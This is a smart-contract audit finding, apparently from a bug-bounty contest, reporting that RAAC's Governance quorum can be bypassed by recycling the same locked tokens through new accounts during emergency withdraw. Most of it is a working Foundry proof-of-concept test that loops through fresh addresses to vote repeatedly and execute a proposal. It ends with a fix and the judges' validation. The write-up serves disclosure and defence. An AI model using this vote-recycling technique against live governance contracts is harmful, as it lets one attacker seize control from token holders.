Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Proposal Quorum can be Bypassed in Governance Contract to Exploit and Disrupt the Protocol

https://github.com/Cyfrin/2025-02-raac/blob/main/contracts/core/governance/proposals/Governance.sol

https://github.com/Cyfrin/2025-02-raac/blob/main/contracts/core/tokens/veRAACToken.sol

Summary

The Governance contract is vulnerable to a quorum bypass attack when the emergency withdraw feature is enabled in the veRAACToken contract. An attacker can repeatedly lock and withdraw RAAC tokens to create multiple voting accounts, allowing them to accumulate voting power and bypass the quorum requirement for a proposal. This vulnerability arises because the emergency withdraw feature allows users to withdraw their locked tokens and reuse them to create new voting positions.


Vulnerability Details

Explanation

The Governance contract relies on voting power derived from locked RAAC tokens in the veRAACToken contract to determine whether a proposal meets the quorum requirement. However, when the emergency withdraw feature is enabled, users can withdraw their locked tokens and reuse them to create new voting positions.


Root Cause

The root cause of this vulnerability lies in the combination of two factors:

  1. Emergency Withdraw Feature: The veRAACToken contract allows users to withdraw their locked tokens when emergency withdraw is enabled. This feature is intended for emergencies but can be exploited to manipulate voting power.

  2. Reusability of Tokens: After withdrawing their tokens, users can transfer them to new accounts and lock them again to create new voting positions. This allows the same tokens to be used multiple times to accumulate voting power.

The Governance contract does not have any mechanism to detect or prevent this behavior, making it possible for an attacker to bypass the quorum requirement.


Proof of Concept

Scenario Example

  • Proposal Creation: A proposal is created, and the voting period begins.

  • Emergency Withdraw: The attacker enables emergency withdraw and withdraws their locked RAAC tokens.

  • Token Reuse: The attacker transfers the withdrawn tokens to multiple new accounts and locks them to create new voting positions.

  • Quorum Bypass: The attacker uses the new voting positions to vote on the proposal, bypassing the quorum requirement.

Code

The vulnerability is demonstrated in the following Foundry test suite. Convert to foundry project using the steps highlighted here. Then in the test/ folder create a Test file named GovernanceTest.t.sol and paste the test into it. Make sure the imports path are correct and run the test using forge test --mt testBypassProposalExecutionQuorum :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "contracts/core/governance/proposals/Governance.sol";
import "contracts/core/governance/proposals/TimelockController.sol";
import "contracts/interfaces/core/governance/proposals/IGovernance.sol";
import "contracts/mocks/core/governance/proposals/TimelockTestTarget.sol";
import {veRAACToken} from "contracts/core/tokens/veRAACToken.sol";
import "contracts/core/tokens/RAACToken.sol";
import "contracts/interfaces/core/governance/proposals/IGovernance.sol";
contract GovernanceTest is Test {
Governance public governance;
veRAACToken public veToken;
TimelockController public timelock;
TimelockTestTarget public testTarget;
RAACToken public raacToken;
address owner;
address user1;
address user2;
address[] proposals;
address[] executors;
uint256 public constant INITIAL_MINT = 1000000 ether;
uint256 constant VOTING_DELAY = 1 days; // 1 day
uint256 constant VOTING_PERIOD = 7 days; // 1 week
uint256 duration = 365 days;
bytes32 private constant EMERGENCY_WITHDRAW_ACTION = keccak256("enableEmergencyWithdraw");
bytes32 private constant EMERGENCY_UNLOCK_ACTION = keccak256("EMERGENCY_UNLOCK");
function setUp() public {
owner = address(this);
user1 = address(0x1);
user2 = address(0x2);
proposals.push(owner);
executors.push(owner);
// Deploy test target
testTarget = new TimelockTestTarget();
raacToken = new RAACToken(owner, 100, 50);
raacToken.setMinter(owner);
// Deploy mock veToken
veToken = new veRAACToken(address(raacToken));
raacToken.manageWhitelist(address(veToken), true);
// Deploy timelock
timelock = new TimelockController(2 days, proposals, executors, owner);
// Deploy governance
governance = new Governance(address(veToken), address(timelock));
raacToken.mint(user1, INITIAL_MINT);
raacToken.mint(user2, INITIAL_MINT);
raacToken.mint(owner, INITIAL_MINT);
vm.prank(user1);
raacToken.approve(address(veToken), type(uint256).max);
//USER 1 locks lowest amount of RAAC
vm.prank(user1);
raacToken.approve(address(veToken), type(uint256).max);
vm.prank(user1);
veToken.lock(INITIAL_MINT / 100, duration);
//USER 2 and Owner locks larger amount
vm.prank(user2);
raacToken.approve(address(veToken), type(uint256).max);
vm.prank(user2);
veToken.lock(INITIAL_MINT, duration);
vm.prank(owner);
raacToken.approve(address(veToken), type(uint256).max);
vm.prank(owner);
veToken.lock(INITIAL_MINT, duration);
// Grant roles to Governance contract
timelock.grantRole(timelock.PROPOSER_ROLE(), address(governance));
timelock.grantRole(timelock.EXECUTOR_ROLE(), address(governance));
timelock.grantRole(timelock.CANCELLER_ROLE(), address(governance));
}
function testBypassProposalExecutionQuorum() public {
// Create a proposal
address[] memory targets = new address[](1);
targets[0] = address(testTarget);
uint256[] memory values = new uint256[](1);
bytes[] memory calldatas = new bytes[](1);
calldatas[0] = abi.encodeWithSelector(testTarget.setValue.selector, 42);
vm.prank(owner);
uint256 proposalId =
governance.propose(targets, values, calldatas, "Test Proposal", IGovernance.ProposalType.ParameterChange);
// Advance time to voting period
vm.warp(block.timestamp + VOTING_DELAY);
uint256 user1VotingPower = veToken.getVotingPower(user1);
uint256 totalVotingPower = veToken.getTotalVotingPower();
uint256 requiredQuorum = governance.quorum();
console.log("User1 voting power", user1VotingPower); // User1 voting power 2493150684931506889600
console.log("Total voting power", totalVotingPower); // Total voting power 502500000000000000000000
//user1 Cast vote
vm.prank(user1);
governance.castVote(proposalId, true);
(uint256 forVotes, uint256 againstVotes) = governance.getVotes(proposalId);
//Assert that current forVotes is less than required quorum
assertLt(forVotes, requiredQuorum);
vm.startPrank(owner);
//Owner Schedule emergency withdraw action
veToken.scheduleEmergencyAction(EMERGENCY_WITHDRAW_ACTION);
vm.warp(block.timestamp + 3 days + 1);
//Owner Enable the scheduled emergency withdraw action
veToken.enableEmergencyWithdraw();
vm.warp(block.timestamp + 3 days + 1);
vm.stopPrank();
//user1 Execute emergency withdrawal and transfer to next address
vm.startPrank(user1);
veToken.emergencyWithdraw();
raacToken.transfer(address(5), raacToken.balanceOf(user1));
vm.stopPrank();
//Continous loop through multiple accounts to cast votes and pass quorum to make proposal executable
for (uint160 i = 5; i < 16; i++) {
vm.startPrank(address(i));
raacToken.approve(address(veToken), type(uint256).max);
veToken.lock(INITIAL_MINT / 100, duration);
governance.castVote(proposalId, true);
veToken.emergencyWithdraw();
raacToken.transfer(address(i + 1), raacToken.balanceOf(address(i)));
vm.stopPrank();
}
// Advance time to end of voting period
vm.warp(block.timestamp + VOTING_PERIOD);
// Queue the proposal
governance.execute(proposalId);
// Advance time for timelock delay
vm.warp(block.timestamp + timelock.getMinDelay());
// Execute the proposal
governance.execute(proposalId);
// Verify the change was successful
assertEq(testTarget.value(), 42, "Proposal should be executed");
}
}

Impact

  • Quorum Bypass: An attacker can bypass the quorum requirement for a proposal by creating multiple voting positions using the same tokens.

  • Governance Manipulation: The attacker can manipulate the governance process to pass proposals that would otherwise not meet the quorum requirement which can disrupt the protocol's functionality.


Tools Used

  • Foundry: Used to write and execute the test suite that demonstrates the vulnerability.

  • Manual Review


Recommendations

  1. Disable Locking During Emergency Withdraw:

    • Disable the ability to lock tokens in the veRAACToken contract when emergency withdraw is enabled. This prevents users from creating new voting positions during an emergency.

function lock(uint256 amount, uint256 duration) external nonReentrant whenNotPaused {
+ if (emergencyWithdrawDelay != 0 ) revert EmergencyWithdrawEnabled();
// ... (existing logic)
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance::quorum uses current total voting power instead of proposal creation snapshot, allowing manipulation of threshold requirements to force proposals to pass or fail

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance::quorum uses current total voting power instead of proposal creation snapshot, allowing manipulation of threshold requirements to force proposals to pass or fail

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.